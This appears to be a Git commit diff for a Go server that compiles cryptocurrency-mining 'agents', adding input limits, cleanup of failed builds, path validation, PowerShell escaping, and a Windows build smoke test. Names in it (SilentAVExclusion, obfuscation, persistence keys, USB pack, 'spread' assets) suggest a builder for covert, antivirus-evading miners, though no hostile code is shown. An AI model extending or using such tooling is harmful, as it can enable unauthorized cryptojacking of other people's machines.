Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
file.Close()
|
||||
}
|
||||
} else {
|
||||
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
return
|
||||
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
// cleanupBuild removes the build directory on any error path to avoid
|
||||
// accumulating partial builds (which may contain uploaded payloads or
|
||||
// a copy of the agent source tree).
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Failed to copy agent source: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
|
||||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
finalPath = fusionRes.LauncherPath
|
||||
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
}
|
||||
req.OutputDir = clean
|
||||
}
|
||||
// Cap slice lengths to prevent huge generated source files.
|
||||
const maxBackupPools = 10
|
||||
if len(req.BackupServerURLs) > maxBackupPools {
|
||||
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
|
||||
}
|
||||
if len(req.BackupPools) > maxBackupPools {
|
||||
req.BackupPools = req.BackupPools[:maxBackupPools]
|
||||
}
|
||||
if len(req.RVNBackupPools) > maxBackupPools {
|
||||
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
|
||||
}
|
||||
|
||||
if req.Threads <= 0 {
|
||||
req.Threads = 4
|
||||
}
|
||||
|
||||
49
server/internal/builder/live_forge_smoke_test.go
Normal file
49
server/internal/builder/live_forge_smoke_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
//go:build liveforge
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
|
||||
// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
|
||||
func TestLiveForgeWindowsSmoke(t *testing.T) {
|
||||
if os.Getenv("LIVE_FORGE") != "1" {
|
||||
t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
|
||||
}
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
h.SetFleetSecret("live-forge-smoke-secret")
|
||||
|
||||
req := &BuildRequest{
|
||||
TargetOS: "windows",
|
||||
TargetArch: "amd64",
|
||||
WorkerName: "live-smoke",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48" + strings.Repeat("A", 93),
|
||||
Obfuscate: false,
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
resp, code, outputPath := h.buildAgent(ctx, req, "")
|
||||
if code != 200 || !resp.Success {
|
||||
t.Fatalf("build failed: code=%d resp=%+v", code, resp)
|
||||
}
|
||||
if outputPath == "" {
|
||||
t.Fatal("empty output path")
|
||||
}
|
||||
st, err := os.Stat(outputPath)
|
||||
if err != nil {
|
||||
t.Fatalf("output missing: %v", err)
|
||||
}
|
||||
if st.Size() < 1_000_000 {
|
||||
t.Fatalf("output too small: %d bytes", st.Size())
|
||||
}
|
||||
t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
|
||||
}
|
||||
@@ -91,6 +91,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "root_path is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cleanRoot, err := h.validateRootPath(req.RootPath)
|
||||
if err != nil {
|
||||
http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.RootPath = cleanRoot
|
||||
if !req.TargetWindows && !req.TargetMac {
|
||||
req.TargetWindows = true
|
||||
req.TargetMac = true
|
||||
|
||||
@@ -71,8 +71,9 @@ func resolveInstallBasePS(req *BuildRequest) string {
|
||||
}
|
||||
|
||||
func generateUninstallScript(buildID string, req *BuildRequest) string {
|
||||
processName := effectiveProcessName(req)
|
||||
persistenceKey := persistenceKeyName(req)
|
||||
// Escape single quotes for PowerShell string literals ('x' → ''x'').
|
||||
processName := strings.ReplaceAll(effectiveProcessName(req), "'", "''")
|
||||
persistenceKey := strings.ReplaceAll(persistenceKeyName(req), "'", "''")
|
||||
installRel := expandInstallRelativePath(req, buildID)
|
||||
installBase := resolveInstallBasePS(req)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user